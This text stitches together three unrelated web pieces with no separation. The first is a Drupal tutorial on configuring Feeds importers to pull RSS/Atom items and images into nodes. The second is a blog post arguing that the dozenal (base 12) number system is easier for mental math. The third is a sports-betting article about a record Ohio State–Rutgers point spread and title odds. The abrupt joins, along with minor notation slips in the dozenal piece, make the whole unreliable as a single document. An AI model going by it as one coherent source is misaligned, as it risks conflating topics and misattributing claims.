I need to create a couple of content types. If you need a primer on creating content types I suggest you take a look at the Community Docs. The first content type we'll be creating is for defining the Atom/RSS feed sources. This will also allow us to specify multiple feed sources. This content type has only a title and a Url.
As the feeds module will automatically add a Feeds field to the content type we can get away with just creating a content type with a title field. Below is an image of the fields page after this tutorial has been completed.
Next we will need to set up a feed item content type, this will be used as a the node type that each feed item will be imported as. I figure for this post the content type will require the following:
Next step. Create the feed importer. This will enable us to map feeds to our content type and will also set up importing schedule. Navigate to Structure > Feeds importers and click on the Clone operation on the Node import importer. Choose a new name and description. We should now be at the following screen.
First let's click on the Basic settings > Settings link and configure some of the more basic settings. You should be faced with the following screen.
The name and description fields should be fairly self explanatory. The next field, Attach to content type allows us to define the source for our feeds, this could either be a standalone form or we can choose a source content type from the list of available content types for our site. We are going to set this to our Feed content type. Set Periodic import to Every 15 min. Check Import on submission and Process in background. Save your basic settings and click on the Change link in the Fetcher tab.
In this tab we can define how we collect the data we are trying to import. Because we are going to be importing RSS and Atom feeds we want to use the HTTP Fetcher. Select that option and click save. Now the fetcher is set to HTTP fetcher we will want to set up some default settings.
Choosing Auto detect feeds will enable some tolerance when feeds are added that link to HTML pages. The fetcher will attempt to find the feed within the document. Save that and move onto the Parser tab.
Choose the Common syndication parser, click Save. There are currently no settings to alter for the Common syndication parser so lets move on to the Processor tab and click Change.
Ensure Node processor is selected, click Save and then click on Node processor > Settings.
Check Replace existing nodes to replace duplicate content, Text format Plain text or Filtered HTML. Select the content type you created earlier in the Content type field. In this instance I have set the Expire nodes to after 1 month. This will remove old content after a month. Since it's only news items we''ll be aggregating we don't really need them hanging around for longer than a month. Click on the Mapping link.
On this page we can map fields from our soure (RSS or Atom feed) to fields in our Node. Notice, we've mapped Item URL (link) twice. Once to the Url field of our content type and once to Image (FIG) the FIG link should enable us to grab images from the feed. For now our configuration is complete. Click Save.
Go to Content > Add content > Your source feed type Fill in a title, and add the feed url. Open up the Feeds image grabber fieldset.
Select Enable Feeds Image Grabber. I always find it usefull to help the parser find the image I am after by specifying a class or id tags to look within. If you have any issues with grabbing images adjust the Execution time[%]. Save this content node an you should see a success message with a number of nodes imported messages. Let's validate that by going to Content and seeing what content nodes have been imported.
Nice, so we've got a whole bunch of imported nodes. Here is one.
So now we have all this content being imported as nodes from other sources. In the next post, we'll do something with this content. Feel free to comment, or ask any questions.


Dozenal/Duodecimal
29 Oct 2018Introduction
Dozenal/Duodecimal is a number system with base 12, as opposed to the conventional base 10 system called the decimal system. Most humans have 10 fingers, which makes the decimal system appealing to people that still use their fingers to count; however, those of us that have reached 12 years old probably had to abandon this technique for a mental math and even written approach to solving equations. The dozenal system tries to improve on the mental math that everyone does. Because 12 has 2 more factors than 10, it is easier to break down equations that are in the dozenal system into more manageable pieces.
Converter
Enter numbers below and they will be magically converted for you, as long as javascript is enabled.
To convert from dozenal to decimal input “X” and “E” as dozenal characters dek (↊) and el (↋) respectively.
Unicode also works, but who types in unicode?
Only integers can be used in the dozenal input.
Check this box to change dozenal characters to “X” and “E”:
Decimal input:
Dozenal input:
What is Dozenal/Duodecimal?
The dozenal numbering system is a way to represent numbers that aims to be more effective than the decimal system we are accustomed to. In the decimal system, there are 10 numbers to choose from:
0, 1, 2, 3, 4, 5, 6, 7, 8, and 9
When we run out of these, for example when writing the number 10, we create a new column to say, “we have already used all our one digit numbers N amount of times in this column”.
The same thing works when we write the number 100. We used all the single digit numbers once, but this time in the 10’s column, so increment to 100’s column.
In the dozenal system, there are 12 numbers to choose from:
0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
and two new ones:
“↊” or “X”, pronounced “dek”
“↋” or “E”, pronounced “el”
Using the Dozenal system we can represent numbers up to what we would ‘normally’ call 11.
Metaphorically turning the dial up to eleven.
To differentiate numbers using base 10 and base 12, I will be using subscript d or z after the number to denote type.
This would mean that Ez is equal to 11d.
How does one pronounce these digits? Check the chart I stole from wikipedia below.
| Duodecimal | Name | Decimal | Duodecimal fraction | Name |
|---|---|---|---|---|
| 1 | one | 1 | ||
| 10 | do | 12 | 0;1 | edo |
| 100 | gro | 144 | 0;01 | egro |
| 1,000 | mo | 1,728 | 0;001 | emo |
| 10,000 | do-mo | 20,736 | 0;000,1 | edo-mo |
| 100,000 | gro-mo | 248,832 | 0;000,01 | egro-mo |
| 1,000,000 | bi-mo | 2,985,984 | 0;000,001 | ebi-mo |
| 1,000,000,000 | tri-mo | 5,159,780,352 | 0;000,000,001 | etri-mo |
Why would anyone use this number system?
The following systems would be easier to process using the base 12 system considering that they are already multiples of 12.
Press the button to start the clock.
- Time
- There are 12 months in a year
- There are 24 hours in a day
- Computing
- Octal alternative that stores more data per digit
- Hex alternative that has more factors
- Finance
- More factors than decimal makes mental math easier
- Bakeries
- A Baker’s dozen
Numerical factors
The number 10 only has 1, 2, 5, and 10 as factors, and mental math done on numbers with these factors is quite easy to do in base 10.
I am going to focus on 2 and 5, as every number has a factor of 1 and itself.
For example, if asked to find 125/5z, you could do the math in your head without much thought.
(Hint: it’s 15d)
This is because 5 is a factor of 10d, and we are using the base 10 numbering system.
The same goes for 126/2d, because 2 is a factor of 10.
(Hint: it’s 63d)
Last factor for 10 is itself, so 110/10d is super easy for people without brain damage.
(Hint: yea right.)
Guess what, those are all the easy ones you get because 10 has no more relevant factors.
Therefore, if required to divide 102 by 3 it’s gonna take a little longer for you to work that out in your head.
(Hint it’s 34, don’t worry I checked with a calculator to be sure.)
Why are some multiples more difficult to work with?
Recap part 1: base 10 has 10 different numbers (0, 1, 2, 3, 4, 5, 6, 7, 8, 9).
Recap part 2: operations on base 10 numbers with operands that are multiples of 0, 1, 2, and 5 are easier to work with.
This implies that multiples of 3, 4, 6, 7, 8, and 9 are more difficult to work with in base 10.
Some people argue that people can learn to do these more efficiently by learning mathematical hoops to jump through.
An example of one of these base 10 hoops is: if the sum of the digits in a number is divisible by 3, then the original number is divisible by 3.
102d10
1 + 0 + 2 = 3
3 is divisible by 3
therefore 102d10 is divisible by 3
However, these tricks do not match the efficiency of the “easy” set of numbers.
I will use the ratio of the number of “easy” digits to total digits as an indicator of average number system difficulty.
According to this metric, the “best” (more on this later) possible number system will have a ratio of 1.
The following table is a list of common bases and their corresponding ratio.
| Base | Ratio (in base 10) | Name | Original Purpose |
|---|---|---|---|
| 2 | 1 | Binary | Digital systems |
| 4 | .75 | Quaternary | Digital systems, DNA encoding |
| 8 | .5 | Octal | Digital systems |
| 10 | .4 | Decimal | Basically everything |
| 12 | .5 | Dozenal/Duodecimal | Timekeeping |
| 16 | .3125 | Hexadecimal | Computing |
| 24 | .3333... | Tetravigesimal | 24 hour timekeeping |
| 60 | .2 | Sexagesimal | Babylonian numerals, Hours-minutes-seconds |
Below is a graph of the ratios for 1-100. As the numbers get higher, the ratio for each number is worse on average.
You may notice that base 1 and base 2 have perfect scores.
Why would we not choose base 2 then?
Have you ever tried to write out 1 million in base 2? No? Well this is how long that is:
1,000,000d = 11,110,100,001,001,000,000b
Because base 2 has only 2 digits available (0 and 1), it takes more digits to represent a number than base 10.
This brings up an issue that we, as humans, need to consider when choosing a numbering system.
How many digits can people process at one time?
George Miller wrote a paper named The Magical Number Seven, Plus or Minus Two in 19561, that determined the number in question to be, you guessed it, 7…plus or minus 2.
Base 2 is required for computers, because they can only measure high or low voltages (in most cases).
Humans are not so limited, so while base 2 is excellent for mathematical simplicity, the amount of digits we need to hold in memory at the same time is unreasonable.
Therefore, base 2, and similarly base 4, is not the best number system for us, as humans, to use.
Upon further examination of the chart, you will find that base 12 and base 8 have the same score.
Some of you are thinking, “Oh man, 7 plus or minus 2 means that base 8 would be better.”
To those of you that did not think that, good for you. Perhaps I have written this article better than I expected.
To those of you that did think that, I apologize for not explaining more accurately.
This would mean that the more information we can fit in 7 digits, the better the numbering system.
If we have the opportunity to encode more data in less digits, with all the benefits of being the most optimal numbering system (for humans),
then who in their right mind would want to make things more difficult for themselves?
This leaves us with the base 12 numbering system: the dozenal system.
Further reading
New numbers: how acceptance of a duodecimal (12) base would simplify mathematics by Frank Emerson Andrews
The Dozenal Society of America
Fundamental Operations in the Duodecimal System
The Dozenal Society of Great Britain
Numberphile’s case for base 12
Bibliography
1Miller, G. A. (1994). The magical number seven, plus or minus two some limits on our capacity for processing information. Washington, D.C.: American Psychological Assoc.


Ohio State vs. Rutgers Sees Historic Betting Spread: Largest Dog In Modern Football History?
by Zack JonesOhio State currently owns the top ranking in this week’s college football playoff rankings and, according to one bookmaker, Saturday’s Big Ten matchup against Rutgers sees them own the largest spread in conference history.The 51.5-point line clearly stands out on this weeks college football odds grid, but SportsBetting.ag head oddsmaker Adam Burns feels confident in the decision to set such a high bar.
"The way the Buckeyes are absolutely dominating on both sides of the ball, coupled with the dreadful Rutgers offense, this was always going to be a spread of epic proportions," said Burns. "But Ohio State is probably going to have to pitch a shutout to cover the number."
Burns’ reference to a shutout is in direct relation to the game’s betting total which, at 55.5 points, leaves little wiggle room for the Buckeyes should the Scarlet Knights get on the board.
A single Rutgers touchdown would see Ohio State needing a total of 59 points or more to narrowly secure the cover.
Rutgers Embracing The Role Of The Dog?
Aside from their season opener where they were favored by 17-points over UMass, Rutgers have found themselves pegged as underdogs by at least seven points in all matchups since.
As for the topic of history, this marks the largest spread the Scarlet Knights have ever faced, with the previous high being a 41 points, a line they faced against Notre Dame in 1996 as well as Syracuse in 1998.
The Buckeyes’ previous spread record was seen in their 2013 matchup against Florida A&M, where Ohio State was a hefty 48-point favorite.
SportsBettings’ Adam Burns dug through the college football database to verify if this was the largest spread in recorded college football betting history. With their records going all the way back to the 1985 season, Burns shared that a 1989 Southwest Conference matchup between SMU and Houston featured a spread of 59, while a Big 8 mismatch between Oklahoma and Kansas State saw oddsmakers set the line at 57-points.
Ohio State Eying Ninth National Championship
With eight titles to their name, the Buckeyes look to return to the biggest stage in college football, and oddsmakers are liking their their chances to claim the title they last held in 2014.
The LSU Tigers are coming off of a massive win over rival and title contender, Alabama, and many would argue that their impressive resume makes them the team to beat.
Tigers’ QB Joe Burrow is the Heisman favorite, and his composure under pressure leaves little to question when stakes are at their highest.
- Ohio State 2/1
- LSU 5/2
- Clemson 3/1
- Georgia 9/1
- Alabama 10/1
- Oklahoma 16/1
- Oregon 25/1
- Utah 40/1
- Minnesota 50/1
- Baylor 66/1
- Penn State 100/1
- Florida 150/1